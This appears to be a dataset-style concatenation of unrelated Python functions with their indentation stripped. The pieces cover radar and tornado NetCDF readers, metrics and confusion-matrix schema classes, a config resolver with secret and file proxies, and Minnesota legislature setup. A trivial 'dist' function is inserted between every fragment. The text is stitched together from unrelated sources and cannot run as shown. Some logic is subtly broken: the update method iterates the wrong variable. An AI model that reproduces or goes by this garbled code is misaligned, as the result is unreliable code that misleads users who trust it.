downsampling_dict=None):
"""Reads examples from NetCDF file.
If `metadata_only == True`, later input args are ignored.
If `targets_only == True`, later input args are ignored.
:param netcdf_file_name: Path to input file.
:param read_all_target_vars: Boolean flag. If True, will read all target
variables. If False, will read only `target_name`. Either way, if
downsampling is done, it will be based only on `target_name`.
:param target_name: Will read this target variable. If
`read_all_target_vars == True` and `downsampling_dict is None`, you can
leave this alone.
:param metadata_only: Boolean flag. If False, this method will read
everything. If True, will read everything except predictor and target
variables.
:param targets_only: Boolean flag. If False, this method will read
everything. If True, will read everything except predictors.
:param include_soundings: Boolean flag. If True and the file contains
soundings, this method will return soundings. Otherwise, no soundings.
:param radar_field_names_to_keep: See doc for `_subset_radar_data`.
:param radar_heights_to_keep_m_agl: Same.
:param sounding_field_names_to_keep: See doc for `_subset_sounding_data`.
:param sounding_heights_to_keep_m_agl: Same.
:param first_time_to_keep_unix_sec: First time to keep. If
`first_time_to_keep_unix_sec is None`, all storm objects will be kept.
:param last_time_to_keep_unix_sec: Last time to keep. If
`last_time_to_keep_unix_sec is None`, all storm objects will be kept.
:param num_rows_to_keep: See doc for `_subset_radar_data`.
:param num_columns_to_keep: Same.
:param downsampling_dict: See doc for `_filter_examples_by_class`.
:return: example_dict: If `read_all_target_vars == True`, dictionary will
have all keys listed in doc for `write_example_file`. If
`read_all_target_vars == False`, key "target_names" will be replaced by
"target_name" and "target_matrix" will be replaced by "target_values".
example_dict['target_name']: Name of target variable.
example_dict['target_values']: length-E list of target values (integer
class labels), where E = number of examples.
"""
# TODO(thunderhoser): Allow this method to read only soundings without radar
# data.
if (
target_name ==
'tornado_lead-time=0000-3600sec_distance=00000-10000m'
):
target_name = (
'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0'
)
error_checking.assert_is_boolean(read_all_target_vars)
error_checking.assert_is_boolean(include_soundings)
error_checking.assert_is_boolean(metadata_only)
error_checking.assert_is_boolean(targets_only)
example_dict, netcdf_dataset = _read_metadata_from_example_file(
netcdf_file_name=netcdf_file_name, include_soundings=include_soundings)
need_main_target_values = (
not read_all_target_vars
or downsampling_dict is not None
)
if need_main_target_values:
target_index = example_dict[TARGET_NAMES_KEY].index(target_name)
else:
target_index = -1
if not read_all_target_vars:
example_dict[TARGET_NAME_KEY] = target_name
example_dict.pop(TARGET_NAMES_KEY)
if metadata_only:
netcdf_dataset.close()
return example_dict
if need_main_target_values:
main_target_values = numpy.array(
netcdf_dataset.variables[TARGET_MATRIX_KEY][:, target_index],
dtype=int
)
else:
main_target_values = None
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = numpy.array(
netcdf_dataset.variables[TARGET_MATRIX_KEY][:], dtype=int
)
else:
example_dict[TARGET_VALUES_KEY] = main_target_values
# Subset by time.
if first_time_to_keep_unix_sec is None:
first_time_to_keep_unix_sec = 0
if last_time_to_keep_unix_sec is None:
last_time_to_keep_unix_sec = int(1e12)
error_checking.assert_is_integer(first_time_to_keep_unix_sec)
error_checking.assert_is_integer(last_time_to_keep_unix_sec)
error_checking.assert_is_geq(
last_time_to_keep_unix_sec, first_time_to_keep_unix_sec)
example_indices_to_keep = numpy.where(numpy.logical_and(
example_dict[STORM_TIMES_KEY] >= first_time_to_keep_unix_sec,
example_dict[STORM_TIMES_KEY] <= last_time_to_keep_unix_sec
))[0]
if downsampling_dict is not None:
subindices_to_keep = _filter_examples_by_class(
target_values=main_target_values[example_indices_to_keep],
downsampling_dict=downsampling_dict
)
elif not read_all_target_vars:
subindices_to_keep = numpy.where(
main_target_values[example_indices_to_keep] !=
target_val_utils.INVALID_STORM_INTEGER
)[0]
else:
subindices_to_keep = numpy.linspace(
0, len(example_indices_to_keep) - 1,
num=len(example_indices_to_keep), dtype=int
)
example_indices_to_keep = example_indices_to_keep[subindices_to_keep]
if len(example_indices_to_keep) == 0:
return None
example_dict[FULL_IDS_KEY] = [
example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep
]
example_dict[STORM_TIMES_KEY] = (
example_dict[STORM_TIMES_KEY][example_indices_to_keep]
)
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = (
example_dict[TARGET_MATRIX_KEY][example_indices_to_keep, :]
)
else:
example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][example_indices_to_keep]
)
if targets_only:
netcdf_dataset.close()
return example_dict
example_dict = _subset_radar_data(
example_dict=example_dict, netcdf_dataset_object=netcdf_dataset,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=radar_field_names_to_keep,
heights_to_keep_m_agl=radar_heights_to_keep_m_agl,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
if not include_soundings:
netcdf_dataset.close()
return example_dict
example_dict = _subset_sounding_data(
example_dict=example_dict, netcdf_dataset_object=netcdf_dataset,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=sounding_field_names_to_keep,
heights_to_keep_m_agl=sounding_heights_to_keep_m_agl)
netcdf_dataset.close()
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def read_specific_examples(
netcdf_file_name, read_all_target_vars, full_storm_id_strings,
storm_times_unix_sec, target_name=None, include_soundings=True,
radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None,
sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None,
num_rows_to_keep=None, num_columns_to_keep=None):
"""Reads specific examples (with specific ID-time pairs) from NetCDF file.
:param netcdf_file_name: Path to input file.
:param read_all_target_vars: See doc for `read_example_file`.
:param full_storm_id_strings: length-E list of storm IDs.
:param storm_times_unix_sec: length-E numpy array of valid times.
:param target_name: See doc for `read_example_file`.
:param metadata_only: Same.
:param include_soundings: Same.
:param radar_field_names_to_keep: Same.
:param radar_heights_to_keep_m_agl: Same.
:param sounding_field_names_to_keep: Same.
:param sounding_heights_to_keep_m_agl: Same.
:param num_rows_to_keep: Same.
:param num_columns_to_keep: Same.
:return: example_dict: See doc for `write_example_file`.
"""
if (
target_name ==
'tornado_lead-time=0000-3600sec_distance=00000-10000m'
):
target_name = (
'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0'
)
error_checking.assert_is_boolean(read_all_target_vars)
error_checking.assert_is_boolean(include_soundings)
example_dict, dataset_object = _read_metadata_from_example_file(
netcdf_file_name=netcdf_file_name, include_soundings=include_soundings)
example_indices_to_keep = tracking_utils.find_storm_objects(
all_id_strings=example_dict[FULL_IDS_KEY],
all_times_unix_sec=example_dict[STORM_TIMES_KEY],
id_strings_to_keep=full_storm_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False
)
example_dict[FULL_IDS_KEY] = [
example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep
]
example_dict[STORM_TIMES_KEY] = example_dict[STORM_TIMES_KEY][
example_indices_to_keep]
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = numpy.array(
dataset_object.variables[TARGET_MATRIX_KEY][
example_indices_to_keep, :],
dtype=int
)
else:
target_index = example_dict[TARGET_NAMES_KEY].index(target_name)
example_dict[TARGET_NAME_KEY] = target_name
example_dict.pop(TARGET_NAMES_KEY)
example_dict[TARGET_VALUES_KEY] = numpy.array(
dataset_object.variables[TARGET_MATRIX_KEY][
example_indices_to_keep, target_index],
dtype=int
)
example_dict = _subset_radar_data(
example_dict=example_dict, netcdf_dataset_object=dataset_object,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=radar_field_names_to_keep,
heights_to_keep_m_agl=radar_heights_to_keep_m_agl,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
if not include_soundings:
dataset_object.close()
return example_dict
example_dict = _subset_sounding_data(
example_dict=example_dict, netcdf_dataset_object=dataset_object,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=sounding_field_names_to_keep,
heights_to_keep_m_agl=sounding_heights_to_keep_m_agl)
dataset_object.close()
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def reduce_examples_3d_to_2d(example_dict, list_of_operation_dicts):
"""Reduces examples from 3-D to 2-D.
If the examples contain both 2-D azimuthal-shear images and 3-D
reflectivity images:
- Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are
required.
- "radar_heights_m_agl" should contain only reflectivity heights.
- "radar_field_names" should contain only the names of azimuthal-shear
fields.
If the examples contain 3-D radar images and no 2-D images:
- Key "radar_image_matrix" is required.
- Each field in "radar_field_names" appears at each height in
"radar_heights_m_agl".
- Thus, there are F_r elements in "radar_field_names", H_r elements in
"radar_heights_m_agl", and F_r * H_r field-height pairs.
After dimensionality reduction (from 3-D to 2-D):
- Keys "reflectivity_image_matrix_dbz", "az_shear_image_matrix_s01", and
"radar_heights_m_agl" will be absent.
- Key "radar_image_matrix" will be present. The dimensions will be
E x M x N x C.
- Key "radar_field_names" will be a length-C list, where the [j]th item is
the field name for the [j]th channel of radar_image_matrix
(radar_image_matrix[..., j]).
- Key "min_radar_heights_m_agl" will be a length-C numpy array, where the
[j]th item is the MINIMUM height for the [j]th channel of
radar_image_matrix.
- Key "max_radar_heights_m_agl" will be a length-C numpy array, where the
[j]th item is the MAX height for the [j]th channel of radar_image_matrix.
- Key "radar_layer_operation_names" will be a length-C list, where the [j]th
item is the name of the operation used to create the [j]th channel of
radar_image_matrix.
:param example_dict: See doc for `write_example_file`.
:param list_of_operation_dicts: See doc for `_check_layer_operation`.
:return: example_dict: See general discussion above, for how the input
`example_dict` is changed to the output `example_dict`.
"""
if RADAR_IMAGE_MATRIX_KEY in example_dict:
num_radar_dimensions = len(
example_dict[RADAR_IMAGE_MATRIX_KEY].shape
) - 2
assert num_radar_dimensions == 3
new_radar_image_matrix = None
new_field_names = []
new_min_heights_m_agl = []
new_max_heights_m_agl = []
new_operation_names = []
if AZ_SHEAR_IMAGE_MATRIX_KEY in example_dict:
new_radar_image_matrix = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] + 0.
for this_field_name in example_dict[RADAR_FIELDS_KEY]:
new_field_names.append(this_field_name)
new_operation_names.append(MAX_OPERATION_NAME)
if this_field_name == radar_utils.LOW_LEVEL_SHEAR_NAME:
new_min_heights_m_agl.append(0)
new_max_heights_m_agl.append(2000)
else:
new_min_heights_m_agl.append(3000)
new_max_heights_m_agl.append(6000)
for this_operation_dict in list_of_operation_dicts:
this_new_matrix, this_operation_dict = _apply_layer_operation(
example_dict=example_dict, operation_dict=this_operation_dict)
this_new_matrix = numpy.expand_dims(this_new_matrix, axis=-1)
if new_radar_image_matrix is None:
new_radar_image_matrix = this_new_matrix + 0.
else:
new_radar_image_matrix = numpy.concatenate(
(new_radar_image_matrix, this_new_matrix), axis=-1
)
new_field_names.append(this_operation_dict[RADAR_FIELD_KEY])
new_min_heights_m_agl.append(this_operation_dict[MIN_HEIGHT_KEY])
new_max_heights_m_agl.append(this_operation_dict[MAX_HEIGHT_KEY])
new_operation_names.append(this_operation_dict[OPERATION_NAME_KEY])
example_dict.pop(REFL_IMAGE_MATRIX_KEY, None)
example_dict.pop(AZ_SHEAR_IMAGE_MATRIX_KEY, None)
example_dict.pop(RADAR_HEIGHTS_KEY, None)
example_dict[RADAR_IMAGE_MATRIX_KEY] = new_radar_image_matrix
example_dict[RADAR_FIELDS_KEY] = new_field_names
example_dict[MIN_RADAR_HEIGHTS_KEY] = numpy.array(
new_min_heights_m_agl, dtype=int)
example_dict[MAX_RADAR_HEIGHTS_KEY] = numpy.array(
new_max_heights_m_agl, dtype=int)
example_dict[RADAR_LAYER_OPERATION_NAMES_KEY] = new_operation_names
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get_schema(self):
"""Returns the set YAML schema for the metric class.
Returns:
YAML schema of the metrics type.
"""
return self._schema |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get(self):
return os.environ[self._name] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get_metrics(self):
"""Returns the stored metrics.
The metrics are type checked against the set schema.
Returns:
Dictionary of metrics data in the format of the set schema.
"""
artifact_utils.verify_schema_instance(self._schema, self._values)
return self._values |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, resolver, proxy_type, key):
if proxy_type == "file":
self._method = resolver.get_file_content
elif proxy_type == "param":
self._method = resolver.get_parameter_value
elif proxy_type == "secret":
self._method = resolver.get_secret_value
elif proxy_type == "bucket_file":
self._method = resolver.get_bucket_file
else:
raise ValueError("Unknown proxy type %s", proxy_type)
self._key = key |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, schema_file: str):
self._schema = artifact_utils.read_schema_file(schema_file)
self._type_name, self._metric_fields = artifact_utils.parse_schema(
self._schema)
self._values = {} |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get(self):
return self._method(self._key) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __getattr__(self, name: str) -> Any:
"""Custom __getattr__ to allow access to metrics schema fields."""
if name not in self._metric_fields:
raise AttributeError('No field: {} in metrics.'.format(name))
return self._values[name] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, child_proxy):
self._child_proxy = child_proxy |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __setattr__(self, name: str, value: Any):
"""Custom __setattr__ to allow access to metrics schema fields."""
if not self._initialized:
object.__setattr__(self, name, value)
return
if name not in self._metric_fields:
raise RuntimeError(
'Field: {} not defined in metirc schema'.format(name))
self._values[name] = value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get(self):
return json.loads(self._child_proxy.get()) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self):
super().__init__('confidence_metrics.yaml')
self._initialized = True |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self):
super().__init__('confusion_matrix.yaml')
self._matrix = [[]]
self._categories = []
self._initialized = True |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get(self):
return base64.b64decode(self._child_proxy.get()) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def set_categories(self, categories: List[str]):
"""Sets the categories for Confusion Matrix.
Args:
categories: List of strings specifying the categories.
"""
self._categories = []
annotation_specs = []
for category in categories:
annotation_spec = {'displayName': category}
self._categories.append(category)
annotation_specs.append(annotation_spec)
self._values['annotationSpecs'] = annotation_specs
self._matrix = [[0
for i in range(len(self._categories))]
for j in range(len(self._categories))]
self._values['row'] = self._matrix |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, key, child_proxy):
try:
self._key = int(key)
except ValueError:
self._key = key
self._child_proxy = child_proxy |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def log_row(self, row_category: str, row: List[int]):
"""Logs a confusion matrix row.
Args:
row_category: Category to which the row belongs.
row: List of integers specifying the values for the row.
Raises:
ValueError: If row_category is not in the list of categories set in
set_categories or size of the row does not match the size of
categories.
"""
if row_category not in self._categories:
raise ValueError('Invalid category: {} passed. Expected one of: {}'.\
format(row_category, self._categories))
if len(row) != len(self._categories):
raise ValueError('Invalid row. Expected size: {} got: {}'.\
format(len(self._categories), len(row)))
self._matrix[self._categories.index(row_category)] = row |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get(self):
return self._child_proxy.get()[self._key] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def log_cell(self, row_category: str, col_category: str, value: int):
"""Logs a cell in the confusion matrix.
Args:
row_category: String representing the name of the row category.
col_category: String representing the name of the column category.
value: Int value of the cell.
Raises:
ValueError: If row_category or col_category is not in the list of
categories set in set_categories.
"""
if row_category not in self._categories:
raise ValueError('Invalid category: {} passed. Expected one of: {}'.\
format(row_category, self._categories))
if col_category not in self._categories:
raise ValueError('Invalid category: {} passed. Expected one of: {}'.\
format(row_category, self._categories))
self._matrix[self._categories.index(row_category)][
self._categories.index(col_category)] = value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self):
self._cache = {}
self._bucket_client = None
self._param_client = None
self._secret_client = None |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _get_or_create_cached_value(self, key, getter, ttl=None):
# happy path
try:
expiry, value = self._cache[key]
except KeyError:
pass
else:
if expiry is None or time.time() < expiry:
logger.debug("Key %s from cache", key)
return value
logger.debug("Cache for key %s has expired", key)
# get value
value = getter()
if ttl:
expiry = time.time() + ttl
else:
expiry = None
self._cache[key] = (expiry, value)
logger.debug("Set cache for key %s", key)
return value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def getter():
with open(filepath, "r") as f:
return f.read() |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def getter():
return self._secret_client.get(name) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def getter():
return self._bucket_client.download_to_tmpfile(key) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def getter():
return self._param_client.get(key) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, path=None, resolver=None):
self._path = path or ()
if not resolver:
resolver = Resolver()
self._resolver = resolver |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _make_proxy(self, key, match):
proxy_type = match.group("type")
key = match.group("key").strip()
if proxy_type == "env":
proxy = EnvProxy(key)
else:
proxy = ResolverMethodProxy(self._resolver, proxy_type, key)
filters = [f for f in [rf.strip() for rf in match.group("filters").split("|")] if f]
for filter_name in filters:
if filter_name == "jsondecode":
proxy = JSONDecodeFilter(proxy)
elif filter_name == "base64decode":
proxy = Base64DecodeFilter(proxy)
elif filter_name.startswith("element:"):
key = filter_name.split(":", 1)[-1]
proxy = ElementFilter(key, proxy)
else:
raise ValueError("Unknown filter %s", filter_name)
return proxy |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _from_python(self, key, value):
new_path = self._path + (key,)
if isinstance(value, dict):
value = self.custom_classes.get(new_path, ConfigDict)(value, new_path)
elif isinstance(value, list):
value = self.custom_classes.get(new_path, ConfigList)(value, new_path)
elif isinstance(value, str):
match = self.PROXY_VAR_RE.match(value)
if match:
value = self._make_proxy(key, match)
return value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _to_python(self, value):
if isinstance(value, Proxy):
return value.get()
else:
return value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __len__(self):
return len(self._collection) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __delitem__(self, key):
del self._collection[key] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __setitem__(self, key, value):
self._collection[key] = self._from_python(key, value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def pop(self, key, default=None):
value = self._collection.pop(key, default)
if isinstance(value, Proxy):
value = value.get()
return value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, config_l, path=None, resolver=None):
super().__init__(path=path, resolver=resolver)
self._collection = []
for key, value in enumerate(config_l):
self._collection.append(self._from_python(str(key), value)) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __getitem__(self, key):
value = self._collection[key]
if isinstance(key, slice):
slice_repr = ":".join(str("" if i is None else i) for i in (key.start, key.stop, key.step))
logger.debug("Get /%s[%s] config key", "/".join(self._path), slice_repr)
return [self._to_python(item) for item in value]
else:
logger.debug("Get /%s[%s] config key", "/".join(self._path), key)
return self._to_python(value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __iter__(self):
for element in self._collection:
yield self._to_python(element) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def serialize(self):
s = []
for v in self:
if isinstance(v, BaseConfig):
v = v.serialize()
s.append(v)
return s |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, config_d, path=None, resolver=None):
super().__init__(path=path, resolver=resolver)
self._collection = {}
for key, value in config_d.items():
self._collection[key] = self._from_python(key, value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __getitem__(self, key):
logger.debug("Get /%s config key", "/".join(self._path + (key,)))
value = self._collection[key]
return self._to_python(value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get(self, key, default=None):
try:
value = self[key]
except KeyError:
value = self._to_python(default)
return value |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __iter__(self):
yield from self._collection |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def keys(self):
return self._collection.keys() |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def values(self):
for value in self._collection.values():
yield self._to_python(value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def items(self):
for key, value in self._collection.items():
yield key, self._to_python(value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def clear(self):
return self._collection.clear() |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def setdefault(self, key, default=None):
return self._collection.setdefault(key, self._from_python(key, default)) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def pop(self, key, default=None):
value = self._collection.pop(key, default)
return self._to_python(value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def popitem(self):
key, value = self._collection.popitem()
return key, self._to_python(value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def copy(self):
return ConfigDict(self._collection.copy(), path=self._path, resolver=self._resolver) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def update(self, *args, **kwargs):
chain = []
for arg in args:
if isinstance(arg, dict):
iterator = arg.items()
else:
iterator = arg
chain = itertools.chain(chain, iterator)
if kwargs:
chain = itertools.chain(chain, kwargs.items())
for key, value in iterator:
self._collection[key] = self._from_python(key, value) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, p_str):
TodoBase.__init__(self, p_str)
self.attributes = {} |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def get_organizations(self):
legis = Organization('Minnesota Legislature', classification='legislature')
upper = Organization('Minnesota Senate', classification='upper',
parent_id=legis._id)
lower = Organization('Minnesota House of Representatives',
classification='lower', parent_id=legis._id)
for n in range(1, 68):
upper.add_post(label=str(n), role='Senator',
division_id='ocd-division/country:us/state:mn/sldu:{}'.format(n))
lower.add_post(label=str(n) + 'A', role='Representative',
division_id='ocd-division/country:us/state:mn/sldl:{}a'.format(n))
lower.add_post(label=str(n) + 'B', role='Representative',
division_id='ocd-division/country:us/state:mn/sldl:{}b'.format(n))
yield legis
yield upper
yield lower |
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